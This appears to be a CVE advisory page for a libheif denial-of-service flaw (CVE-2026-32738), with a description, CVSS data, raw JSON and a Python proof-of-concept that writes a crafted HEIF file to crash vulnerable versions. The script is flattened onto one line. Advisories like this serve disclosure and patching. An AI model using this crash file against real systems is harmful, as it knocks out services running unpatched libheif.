Security Vulnerability Report
中文
CVE-2026-32738 CVSS 6.5 MEDIUM

CVE-2026-32738

Published: 2026-05-19 19:16:49
Last Modified: 2026-05-20 14:17:41

Description

libheif is a HEIF and AVIF file format decoder and encoder. In versions 1.21.2 and below, a crafted 792-byte HEIF sequence file with samples_per_chunk=0 in the stsc box causes an unsigned integer underflow in the Chunk constructor (m_last_sample = 0 + 0 - 1 = UINT32_MAX), mapping all samples to an empty chunk and resulting in a denial of service. When any sample is accessed, the library reads from index 0 of an empty std::vector, causing a guaranteed SEGV (null-page read). The file parses successfully without producing an error; the crash occurs on the first frame access. This issue has been fixed in version 1.22.0.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:struktur:libheif:*:*:*:*:*:*:*:* - VULNERABLE
libheif <= 1.21.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct import os def create_malicious_heif(filename): """ Generates a crafted HEIF file to trigger CVE-2026-32738. The file contains a stsc box with samples_per_chunk = 0. """ with open(filename, 'wb') as f: # 1. ftyp box (File Type) ftyp_data = struct.pack('>I4s4sI', 32, b'ftyp', b'heic', 0) + b'mif1' f.write(ftyp_data) # 2. moov box structure moov_start = f.tell() f.write(struct.pack('>I', 0)) # Size placeholder f.write(b'moov') # mvhd (Movie Header) mvhd_data = struct.pack('>I4sIIIIIIIIIIII', 108, b'mvhd', 0, 0, 0, 0, 1000, 0, 0, 0, 0, 0x00010000, 0, 0, 0, 0) + (b'\x00' * 60) f.write(mvhd_data) # trak (Track) trak_start = f.tell() f.write(struct.pack('>I', 0)) f.write(b'trak') # tkhd (Track Header) tkhd_data = struct.pack('>I4sIIIIIIIIIIII', 92, b'tkhd', 0, 0, 0, 1, 0, 0, 0, 0, 0, 0x00010000, 0, 0, 0, 0) + (b'\x00' * 48) f.write(tkhd_data) # mdia (Media) mdia_start = f.tell() f.write(struct.pack('>I', 0)) f.write(b'mdia') # mdhd (Media Header) mdhd_data = struct.pack('>I4sIIIII', 32, b'mdhd', 0, 0, 90000, 0, 0x55c40000) f.write(mdhd_data) # hdlr (Handler Reference) hdlr_data = struct.pack('>I4sI4sIIII', 43, b'hdlr', 0, b'vide', 0, 0, 0, 0) + b'VideoHandler' + b'\x00' f.write(hdlr_data) # minf (Media Information) minf_start = f.tell() f.write(struct.pack('>I', 0)) f.write(b'minf') # vmhd (Video Media Header) vmhd_data = struct.pack('>I4sHHH', 20, b'vmhd', 0, 0, 0) f.write(vmhd_data) # dinf (Data Information) f.write(struct.pack('>I', 36)) f.write(b'dinf') dref_data = struct.pack('>I4sII', 28, b'dref', 0, 1) + struct.pack('>I4sI', 12, b'url ', 0x01) f.write(dref_data) # stbl (Sample Table) stbl_start = f.tell() f.write(struct.pack('>I', 0)) f.write(b'stbl') # stsd (Sample Description) - Minimal hvc1 stsd_entry = b'hvc1' + struct.pack('>I', 0) + (b'\x00' * 86) stsd_data = struct.pack('>I4sI', 16 + len(stsd_entry), b'stsd', 0) + struct.pack('>I', len(stsd_entry)) + stsd_entry f.write(stsd_data) # stts (Time-to-Sample) stts_data = struct.pack('>I4sII', 16, b'stts', 0, 0) f.write(stts_data) # stsc (Sample-to-Chunk) - VULNERABILITY TRIGGER # struct: entry_count(1), first_chunk(1), samples_per_chunk(0), sample_description_index(1) stsc_payload = struct.pack('>IIII', 1, 1, 0, 1) stsc_data = struct.pack('>I4sII', 16 + len(stsc_payload), b'stsc', 0, 1) + stsc_payload f.write(stsc_data) # stsz (Sample Size) stsz_data = struct.pack('>I4sIII', 20, b'stsz', 0, 0, 0) f.write(stsz_data) # stco (Chunk Offset) stco_data = struct.pack('>I4sII', 16, b'stco', 0, 0) f.write(stco_data) # Update container sizes current_pos = f.tell() f.seek(stbl_start); f.write(struct.pack('>I', current_pos - stbl_start)) f.seek(minf_start); f.write(struct.pack('>I', current_pos - minf_start)) f.seek(mdia_start); f.write(struct.pack('>I', current_pos - mdia_start)) f.seek(trak_start); f.write(struct.pack('>I', current_pos - trak_start)) f.seek(moov_start); f.write(struct.pack('>I', current_pos - moov_start)) create_malicious_heif('CVE-2026-32738_POC.heif') print('PoC file generated: CVE-2026-32738_POC.heif')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32738", "sourceIdentifier": "[email protected]", "published": "2026-05-19T19:16:48.823", "lastModified": "2026-05-20T14:17:41.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "libheif is a HEIF and AVIF file format decoder and encoder. In versions 1.21.2 and below, a crafted 792-byte HEIF sequence file with samples_per_chunk=0 in the stsc box causes an unsigned integer underflow in the Chunk constructor (m_last_sample = 0 + 0 - 1 = UINT32_MAX), mapping all samples to an empty chunk and resulting in a denial of service. When any sample is accessed, the library reads from index 0 of an empty std::vector, causing a guaranteed SEGV (null-page read). The file parses successfully without producing an error; the crash occurs on the first frame access. This issue has been fixed in version 1.22.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:struktur:libheif:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.22.0", "matchCriteriaId": "CB01CAAF-1D64-461B-8CC0-3CF2FBAC60A5"}]}]}], "references": [{"url": "https://github.com/strukturag/libheif/security/advisories/GHSA-7f2h-cmpf-v9ww", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/strukturag/libheif/security/advisories/GHSA-7f2h-cmpf-v9ww", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}